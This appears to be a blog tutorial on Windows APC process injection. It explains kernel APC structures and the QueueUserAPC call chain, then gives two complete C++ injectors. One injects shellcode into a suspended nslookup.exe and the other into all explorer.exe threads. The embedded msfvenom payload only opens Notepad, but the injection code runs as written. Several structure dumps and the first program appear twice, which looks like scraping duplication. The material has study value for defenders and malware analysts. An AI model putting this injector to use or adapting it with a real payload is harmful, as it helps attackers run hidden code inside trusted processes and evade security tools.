Another windows process injection technique, which uses the Windows APC calls. Windows APC are commonly used by malwares. It's concept is similar to a thread pool, expect the fact that in thread pool, multiple threads are waiting to get allocated tasks & execute them concurrently. Whereas in APC, the concept is specific to the execution of a routine in a single thread. Let's have a better understanding.
There exists 3 different types of APC's (Asynchronous Procedure call): User mode, Kernel mode, Kernel Special etc. All of them are represented in windows as a kernel-defined control Object, named _KAPC. The APC's which are waiting to get execute are stored in a kernel managed APC queue, which can be found in the KTHREAD block.
typedef struct _KAPC
{
unsigned char Type; //
unsigned char SpareByte0;
unsigned char Size;
unsigned char SpareByte1;
unsigned long SpareLong0;
KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
void (*KernelRoutine)(KAPC *, void (**)(void *, void *, void *), void **, void **, void **);
void (*RundownRoutine)(KAPC *);
void (*NormalRoutine)(void *, void *, void *);
void *NormalContext;
void *SystemArgument1;
void *SystemArgument2;
char ApcStateIndex;
char ApcMode;
unsigned char Inserted;
} KAPC, *PKAPC;
{
unsigned char Type; //
unsigned char SpareByte0;
unsigned char Size;
unsigned char SpareByte1;
unsigned long SpareLong0;
KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
void (*KernelRoutine)(KAPC *, void (**)(void *, void *, void *), void **, void **, void **);
void (*RundownRoutine)(KAPC *);
void (*NormalRoutine)(void *, void *, void *);
void *NormalContext;
void *SystemArgument1;
void *SystemArgument2;
char ApcStateIndex;
char ApcMode;
unsigned char Inserted;
} KAPC, *PKAPC;
nt!KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 MutantListHead : _LIST_ENTRY
+0x018 InitialStack : Ptr32 Void
+0x01c StackLimit : Ptr32 Void
+0x020 KernelStack : Ptr32 Void
+0x024 ThreadLock : Uint4B
+0x028 ApcState : _KAPC_STATE APC area
+0x000 Header : _DISPATCHER_HEADER
+0x010 MutantListHead : _LIST_ENTRY
+0x018 InitialStack : Ptr32 Void
+0x01c StackLimit : Ptr32 Void
+0x020 KernelStack : Ptr32 Void
+0x024 ThreadLock : Uint4B
+0x028 ApcState : _KAPC_STATE APC area
nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY Two queues, one for User APCs, one for Kernel and Special
+0x010 Process : Ptr32 _KPROCESS Process that APC state be-longs to.
+0x014 KernelApcInProgress : UChar Flags
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
+0x000 ApcListHead : [2] _LIST_ENTRY Two queues, one for User APCs, one for Kernel and Special
+0x010 Process : Ptr32 _KPROCESS Process that APC state be-longs to.
+0x014 KernelApcInProgress : UChar Flags
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
Inside KTHREAD, exists a member ApcState of type _KAPC_STATE. Inside the ApcState, there exists ApcListHead array, which consists of two list heads, holding the queue for the user APC, the Kernel & Special APC's. Covering all the types of APC would be out of bound for this post. We will be just focusing on user mode. In case of a User mode APC, the routine is executed only when the thread is in a alterable state. In other words, a thread can receive a user-mode APC only if it declares itself alertable. So when does an thread enter into an alterable state? , that's when any of the wait routine is called such as WaitForSingleObjectEx, SleepEx, etc, with the second argument set as true.
Since we have some fair idea about what an APC is, let's now looks at it's implementation. In order to insert an user-mode asynchronous procedure call (APC) object to the APC queue, we make use of the QueueUserAPC() function. The NT level API is NtQueueApcThread() .
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
Since i love knowing what's the behind scene, i will waste some more of your time, explaining more about what happens, after a call to QueueUserAPC() is made. So below is the control flow of the API call.
QueueUserAPC() -The user land API to queue an User APC
NtQueueApcThread() -
- Gets pointer to KTHREAD & perform access right validation.
- Allocates memory for the KAPC, which represents the APC object. During the systems initialization, the memory manager creates two pool of memory, one is Non-paged & another paged, which is used by the kernel components to allocate memory. The function ExAllocatePoolWithTag() is used to actually perform the memory allocation for the KAPC object.
KeInitializeApc() - This routine is responsible for the Initialization of the KAPC structure members. Filling all the require information for the further step. The APC object has still not been inserted into the queue.
KeInsertQueueApc() - Responsible for Inserting the APC into the target threads User queue. It checks if the APC object is queueable. It returns a boolean value. It first acquires a threadlock, of type spinlock. It's stored in the KTHREAD structure member called ThreadBlock of the target thread. It then check the value of Apcqueueable from the _KTHREAD to check if the APC is queueable & also if th APC already exists inside the queue (Inserted flag from _KAPC) since it can't be added twice. If the conditions satisfies, it returns TRUE (0), else FAIL(1). When TRUE, it sets the ARGUMNT1 & ARGUMENT2, from the function argument (KAPC) & then calls the next function KiInsertQueueApc().
KiInsertQueueApc() - Don't confuse this with KeInsertQueueApc(). This finally inserts the APC object into the APC queue by calling InsertTailList() (For user mode APC). The APC queue is a double linked list, saved in the ApcState member of KTHREAD structure, which was discussed earlier. The ApcState array contains two list heads, the first entry is of the Kernel APC & the later for the User APC. The special & Normal APC's are both stored in the same entry. Finally the ApcListEntry from the _KAPC is used as an index & linked to the ApcListHead[].
VOID KiInsertQueueApc( PKAPC Apc ) {
...
...
ApcListHead[UserMode], &Apc->ApcListEntry);
...
...
}
Finally moving forward, lets look at how we can utilize it in order to carry out process Injection. Blow shared is a breakdown of the steps to achieve User-Mode APC Injection.
- Create a process in a suspended state or use an existing process & enumerate it's threads for the injection.
- Allocate memory in the process & write to write the shellcode to it.
- Queue an APC to the current thread
- Resume the suspended thread or wait for the existing thread to enter into an alterable state, APC routine would be executed.
The implementation can be done, using both the high level API & the NT level. Below shared is an example for both.
//Implementation using the higher level API QueueUserAPC(). Here we create a process in suspended state.
#include <iostream>
#include <Windows.h>
int main()
{
// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
// Create a 64-bit process:
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(shellcode);
LPCWSTR cmd;
HANDLE hProcess, hThread;
NTSTATUS status;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");
if (!CreateProcess(
cmd, // Executable
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED | // Create Suspended for APC Injection
CREATE_NO_WINDOW, // Do Not Open a Window
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
)) {
DWORD errval = GetLastError();
std::cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi.hProcess, 2000); // Allow nslookup 1 second to start/initialize.
hProcess = pi.hProcess;
hThread = pi.hThread;
// Allocation Memory and Write shellcode to the allocated buffer
allocation_start = VirtualAllocEx(hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocation_start, shellcode, allocation_size, NULL);
// Inject into the suspended thread.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)allocation_start;
//hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, pi.dwThreadId); // <-- Open a Thread if needed
QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);
// Resume the suspended thread
ResumeThread(hThread);
}
#include <Windows.h>
int main()
{
// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
// Create a 64-bit process:
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(shellcode);
LPCWSTR cmd;
HANDLE hProcess, hThread;
NTSTATUS status;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");
if (!CreateProcess(
cmd, // Executable
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED | // Create Suspended for APC Injection
CREATE_NO_WINDOW, // Do Not Open a Window
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
)) {
DWORD errval = GetLastError();
std::cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi.hProcess, 2000); // Allow nslookup 1 second to start/initialize.
hProcess = pi.hProcess;
hThread = pi.hThread;
// Allocation Memory and Write shellcode to the allocated buffer
allocation_start = VirtualAllocEx(hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocation_start, shellcode, allocation_size, NULL);
// Inject into the suspended thread.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)allocation_start;
//hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, pi.dwThreadId); // <-- Open a Thread if needed
QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);
// Resume the suspended thread
ResumeThread(hThread);
}
//Unlike the above implementation, here we inject the APC into an existing process thread
#include <iostream>
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
//Enumerate Process & Thread information
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
// Allocation Memory and Write shellcode to the allocated buffer
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
// Inject into the suspended thread.
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
0 Comments